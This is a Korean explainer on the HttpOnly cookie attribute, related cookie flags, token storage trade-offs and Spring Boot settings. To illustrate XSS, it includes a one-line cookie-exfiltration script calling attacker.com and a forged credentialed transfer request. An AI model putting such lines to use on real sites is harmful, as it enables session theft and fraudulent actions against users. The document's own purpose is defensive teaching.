쿠키에 붙이는 속성으로, JavaScript에서 그 쿠키를 읽을 수 없게 만든다.
Set-Cookie: SESSIONID=abc123; HttpOnly
document.cookie // HttpOnly 쿠키는 여기 나타나지 않는다
무엇을 막는가
XSS가 발생했을 때 세션 탈취를 막는다.
// 공격자가 심은 스크립트
fetch('https://attacker.com/steal?c=' + document.cookie);
// HttpOnly 없으면 → 세션 ID가 그대로 유출 → 공격자가 로그인 상태를 그대로 획득
// HttpOnly 있으면 → 빈 문자열. 훔칠 것이 없다
"XSS를 완전히 막을 수는 없으니, 뚫려도 세션은 지킨다" 는 심층 방어(defense in depth)의 전형이다.
한계 — 만능이 아니다
HttpOnly는 탈취를 막을 뿐 악용을 막지 못한다.
// 쿠키를 읽지 못해도 요청은 보낼 수 있다
fetch('/api/transfer', {
method: 'POST',
credentials: 'include', // 브라우저가 쿠키를 알아서 붙인다
body: JSON.stringify({ to: '공격자', amount: 1000000 })
});
쿠키 값을 몰라도 브라우저가 대신 붙여 주므로 요청은 성공한다. 공격자가 세션을 다른 곳으로 가져가지는 못하지만, 피해자 브라우저 안에서는 무엇이든 할 수 있다.
→ HttpOnly는 XSS 대책이 아니라 피해 축소 수단이다. 근본 방어는 이스케이프와 CSP다.
함께 쓰는 속성들 — 세트로 기억한다
Set-Cookie: SID=abc; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=1800
| 속성 | 막는 것 |
|---|---|
| HttpOnly | XSS로 인한 쿠키 읽기 |
| Secure | HTTP 평문 전송(도청) |
| SameSite | 다른 사이트발 자동 전송(CSRF) |
| Path/Domain | 불필요한 전송 범위 |
| Max-Age | 무기한 유효 |
세 가지가 각각 다른 공격을 막는다. 하나만으로는 부족하고, 셋을 함께 걸어야 한다.
토큰 저장 전략 — 실무의 결론
| 저장소 | XSS | CSRF |
|---|---|---|
| localStorage | 취약 (스크립트가 읽음) | 안전(자동 전송 안 됨) |
| 일반 쿠키 | 취약 | 취약 |
| HttpOnly 쿠키 | 안전(읽기 불가) | 취약 → SameSite로 보완 |
| 메모리 변수 | 상대적으로 안전 | 안전 |
널리 쓰이는 조합
-
Access Token — → 메모리(JS 변수). 새로고침하면 사라지지만 가장 안전 Refresh Token → HttpOnly + Secure + SameSite 쿠키
- Path=/auth/refresh 로 전송 범위까지 제한
-
새로고침 시 Refresh로 Access를 다시 받는다
이 구조는 XSS로 Refresh를 못 읽고, SameSite로 CSRF도 막으면서, 새로고침 후 로그인이 유지되는 절충안이다.
설정 예
ResponseCookie.from("refreshToken", token)
.httpOnly(true)
.secure(true)
.sameSite("Lax")
.path("/auth/refresh")
.maxAge(Duration.ofDays(14))
.build();
server.servlet.session.cookie.http-only: true # Spring Boot 세션 쿠키
server.servlet.session.cookie.secure: true
주의 — Secure를 켜면 HTTP 환경(로컬 개발)에서는 쿠키가 안 붙는다.
프로파일별로 분리해 설정한다.